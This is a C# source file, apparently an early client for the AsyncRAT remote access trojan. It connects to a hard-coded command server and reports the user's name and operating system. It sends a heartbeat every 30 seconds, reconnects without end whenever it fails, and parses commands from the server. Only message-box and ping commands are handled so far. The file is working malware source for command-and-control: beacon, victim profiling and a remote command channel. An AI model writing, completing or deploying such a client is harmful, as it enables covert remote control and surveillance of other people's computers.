using AsyncRAT_Sharp.MessagePack; using Microsoft.VisualBasic; using Microsoft.VisualBasic.Devices; using System; using System.Diagnostics; using System.IO; using System.Net.Sockets; using System.Text; using System.Threading; namespace Client { class Program { public static Socket client { get; set; } public static byte[] Buffer { get; set; } public static long Buffersize { get; set; } public static bool BufferRecevied { get; set; } public static Timer Tick { get; set; } public static MemoryStream MS { get; set; } static void Main(string[] args) { InitializeClient(); while (true) { Thread.Sleep(1500); } } public static void InitializeClient() { try { client = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp); client.ReceiveBufferSize = 50 * 1024; client.SendBufferSize = 50 * 1024; client.ReceiveTimeout = -1; client.SendTimeout = -1; client.Connect("127.0.0.1", 8080); Console.WriteLine("Connected!"); Buffer = new byte[1]; Buffersize = 0; BufferRecevied = false; MS = new MemoryStream(); BeginSend(SendInfo()); TimerCallback T = new TimerCallback(Ping); Tick = new Timer(T, null, 15000, 30000); client.BeginReceive(Buffer, 0, Buffer.Length, SocketFlags.None, ReadServertData, null); } catch { Console.WriteLine("Disconnected!"); Thread.Sleep(2500); InitializeClient(); } } public static byte[] SendInfo() { MsgPack msgpack = new MsgPack(); msgpack.ForcePathObject("Packet").AsString = "ClientInfo"; msgpack.ForcePathObject("User").AsString = Environment.UserName.ToString(); msgpack.ForcePathObject("OS").AsString = new ComputerInfo().OSFullName.ToString(); return msgpack.Encode2Bytes(); } public static void ReadServertData(IAsyncResult ar) { try { if (client.Connected == false) { Tick.Dispose(); client.Close(); client.Dispose(); MS.Dispose(); InitializeClient(); } int Recevied = client.EndReceive(ar); if (Recevied > 0) { if (BufferRecevied == false) { if (Buffer[0] == 0) { Buffersize = Convert.ToInt64(Encoding.UTF8.GetString(MS.ToArray())); MS.Dispose(); MS = new MemoryStream(); if (Buffersize > 0) { Buffer = new byte[Buffersize - 1]; BufferRecevied = true; } } else { MS.Write(Buffer, 0, Buffer.Length); } } else { MS.Write(Buffer, 0, Recevied); if (MS.Length == Buffersize) { ThreadPool.QueueUserWorkItem(Read, MS.ToArray()); MS.Dispose(); MS = new MemoryStream(); Buffer = new byte[1]; Buffersize = 0; BufferRecevied = false; } } } else { Tick.Dispose(); client.Close(); client.Dispose(); MS.Dispose(); InitializeClient(); } client.BeginReceive(Buffer, 0, Buffer.Length, SocketFlags.None, ReadServertData, null); } catch { Tick.Dispose(); client.Close(); client.Dispose(); MS.Dispose(); InitializeClient(); } } public static void Read(object Data) { MsgPack unpack_msgpack = new MsgPack(); unpack_msgpack.DecodeFromBytes((byte[])Data); Console.WriteLine("I recevied a packet from server: " + unpack_msgpack.ForcePathObject("Packet").AsString); switch (unpack_msgpack.ForcePathObject("Packet").AsString) { case "MessageBox": { Console.WriteLine(unpack_msgpack.ForcePathObject("Message").AsString); } break; case "Ping": { Console.WriteLine(unpack_msgpack.ForcePathObject("Message").AsString); } break; } } public static void Ping(object obj) { MsgPack msgpack = new MsgPack(); msgpack.ForcePathObject("Packet").AsString = "Ping"; msgpack.ForcePathObject("Message").AsString = DateTime.Now.ToLongTimeString().ToString(); BeginSend(msgpack.Encode2Bytes()); } public static void BeginSend(byte[] Msgs) { if (client.Connected) { try { using (MemoryStream MS = new MemoryStream()) { byte[] buffer = Msgs; byte[] buffersize = Encoding.UTF8.GetBytes(buffer.Length.ToString() + Strings.ChrW(0)); MS.Write(buffersize, 0, buffersize.Length); MS.Write(buffer, 0, buffer.Length); client.Poll(-1, SelectMode.SelectWrite); client.BeginSend(MS.ToArray(), 0, Convert.ToInt32(MS.Length), SocketFlags.None, new AsyncCallback(EndSend), null); } } catch { Tick.Dispose(); client.Close(); client.Dispose(); MS.Dispose(); InitializeClient(); } } } public static void EndSend(IAsyncResult ar) { try { client.EndSend(ar); } catch { } } } }